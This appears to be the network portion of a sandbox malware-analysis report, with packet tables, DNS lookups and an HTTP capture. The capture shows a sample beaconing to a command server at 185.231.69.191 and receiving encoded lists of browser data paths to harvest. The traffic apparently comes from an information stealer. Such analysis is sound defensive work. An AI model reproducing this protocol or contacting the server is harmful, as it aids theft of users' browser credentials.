Dec 24, 2024 14:02:43.914654970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.914724112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.914870977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.914922953 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.915008068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.915057898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.916733027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.916794062 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:43.918061018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.918073893 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.918087006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.918098927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:43.918174028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.037463903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.037482023 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.037496090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.037580013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.037625074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.039809942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.039870024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.039947987 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.039959908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040072918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.040098906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040143013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.040219069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040286064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.040620089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040632010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040644884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040659904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.040673971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:44.040684938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040697098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040709972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040792942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040806055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040946960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040961027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.040971994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041099072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041111946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041404963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041693926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041872978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.041884899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042057037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042068958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042150021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042284012 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042304039 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042443037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042454958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042579889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042593002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042604923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042732000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042745113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042757034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.042768955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157286882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157304049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157329082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157341957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157422066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157434940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157449961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157573938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157588005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157603025 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157722950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.157736063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159360886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159616947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159629107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159725904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159821033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159972906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159986019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.159997940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160015106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160099030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160192966 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160244942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160281897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:44.160295010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:45.065581083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:45.065649986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:45.125251055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:45.244884968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:45.518033981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:45.518135071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:45.519048929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:45.638475895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:47.267704964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:47.268260002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:48.161266088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:58.962246895 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:58.962282896 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:58.962367058 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:58.962925911 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:58.962938070 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:01.452794075 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:01.453021049 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:01.454766035 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:01.454777002 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:01.455102921 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:01.457690001 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:01.457804918 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:01.457811117 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:01.457923889 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:01.499355078 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:02.023967981 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:02.024214029 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:02.024379015 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:02.024449110 CET	49853	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:02.024461031 CET	443	49853	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:23.605876923 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:23.605922937 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:23.606021881 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:23.606817961 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:23.606832981 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:25.837605953 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:25.837691069 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:25.839708090 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:25.839715958 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:25.840653896 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:25.842474937 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:25.842602968 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:25.842607975 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:25.842776060 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:25.883338928 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:26.507632017 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:26.507775068 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:26.507867098 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:26.508133888 CET	49908	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:26.508150101 CET	443	49908	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:33.299223900 CET	49705	80	192.168.2.6	199.232.214.172
Dec 24, 2024 14:03:33.299252987 CET	49702	443	192.168.2.6	20.190.147.6
Dec 24, 2024 14:03:33.419549942 CET	80	49705	199.232.214.172	192.168.2.6
Dec 24, 2024 14:03:33.419715881 CET	49705	80	192.168.2.6	199.232.214.172
Dec 24, 2024 14:03:33.420650005 CET	443	49702	20.190.147.6	192.168.2.6
Dec 24, 2024 14:03:33.420694113 CET	49702	443	192.168.2.6	20.190.147.6
Dec 24, 2024 14:03:39.054344893 CET	49707	443	192.168.2.6	20.190.147.6
Dec 24, 2024 14:03:39.174268007 CET	443	49707	20.190.147.6	192.168.2.6
Dec 24, 2024 14:03:39.174339056 CET	49707	443	192.168.2.6	20.190.147.6
Dec 24, 2024 14:03:57.698995113 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:57.699038029 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:03:57.699376106 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:57.699884892 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:03:57.699901104 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.018049002 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.018131971 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.020375013 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.020382881 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.021138906 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.023272991 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.023324966 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.023332119 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.023453951 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.071327925 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.744774103 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.745418072 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.745419025 CET	49989	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:04:00.745440006 CET	443	49989	20.198.118.190	192.168.2.6
Dec 24, 2024 14:04:00.745552063 CET	49989	443	192.168.2.6	20.198.118.190

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 14:02:09.000313997 CET	56031	53	192.168.2.6	1.1.1.1
Dec 24, 2024 14:02:09.000674009 CET	53375	53	192.168.2.6	1.1.1.1
Dec 24, 2024 14:02:09.134242058 CET	53	54284	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:09.136126995 CET	53	52045	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:09.137459993 CET	53	56031	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:09.139008999 CET	53	53375	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:12.102603912 CET	53	51937	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:12.805114985 CET	53	49419	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:13.390867949 CET	53	65455	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:15.948616028 CET	52037	53	192.168.2.6	1.1.1.1
Dec 24, 2024 14:02:15.948616028 CET	55043	53	192.168.2.6	1.1.1.1
Dec 24, 2024 14:02:16.085474968 CET	53	55043	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:16.086333036 CET	53	52037	1.1.1.1	192.168.2.6
Dec 24, 2024 14:02:16.090858936 CET	53	50035	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 14:02:09.000313997 CET	192.168.2.6	1.1.1.1	0x6b31	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 14:02:09.000674009 CET	192.168.2.6	1.1.1.1	0xba06	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 24, 2024 14:02:15.948616028 CET	192.168.2.6	1.1.1.1	0xa2d5	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 14:02:15.948616028 CET	192.168.2.6	1.1.1.1	0xb546	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 14:02:09.137459993 CET	1.1.1.1	192.168.2.6	0x6b31	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 24, 2024 14:02:09.139008999 CET	1.1.1.1	192.168.2.6	0xba06	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 14:02:16.085474968 CET	1.1.1.1	192.168.2.6	0xb546	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 14:02:16.086333036 CET	1.1.1.1	192.168.2.6	0xa2d5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 14:02:16.086333036 CET	1.1.1.1	192.168.2.6	0xa2d5	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

185.231.69.191

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.231.69.191	80	4512	C:\Users\user\Desktop\gYjK72gL17.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 14:02:01.054295063 CET	89	OUT	GET / HTTP/1.1 Host: 185.231.69.191 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 14:02:02.292742014 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 14:02:02.296634912 CET	418	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDAFHDHCBFIDGCFIDG Host: 185.231.69.191 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 38 46 43 31 33 33 35 30 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 2d 2d 0d 0a Data Ascii: ------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="hwid"5A8FC13350E01671227304------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="build"LogsDiller------IEHDAFHDHCBFIDGCFIDG--
Dec 24, 2024 14:02:02.754647970 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 59 79 5a 54 52 68 4e 44 63 33 4f 54 55 33 59 32 59 79 4d 47 4a 6b 4d 54 4e 6d 4e 6a 59 30 4e 32 56 69 59 54 56 6c 4e 44 51 78 59 6a 45 31 4e 6a 67 35 4d 32 55 32 4d 7a 55 35 59 57 56 6d 4d 44 6c 68 59 7a 6b 30 59 57 52 68 5a 44 49 32 4d 6a 63 32 4d 6d 49 33 5a 47 4e 6d 5a 6a 67 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTYyZTRhNDc3OTU3Y2YyMGJkMTNmNjY0N2ViYTVlNDQxYjE1Njg5M2U2MzU5YWVmMDlhYzk0YWRhZDI2Mjc2MmI3ZGNmZjg3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 24, 2024 14:02:02.756217003 CET	469	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.231.69.191 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="message"browsers------BFIDGHDBAFIJJJJKJDHD--
Dec 24, 2024 14:02:03.148513079 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 24, 2024 14:02:03.148602962 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 24, 2024 14:02:03.177061081 CET	468	OUT	POST /f190e2808a5419c3.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.231.69.191 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 36 32 65 34 61 34 37 37 39 35 37 63 66 32 30 62 64 31 33 66 36 36 34 37 65 62 61 35 65 34 34 31 62 31 35 36 38 39 33 65 36 33 35 39 61 65 66 30 39 61 63 39 34 61 64 61 64 32 36 32 37 36 32 62 37 64 63 66 66 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e62e4a477957cf20bd13f6647eba5e441b156893e6359aef09ac94adad262762b7dcff87------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="message"plugins------IJDHDGDAAAAKFIDGHJDG--
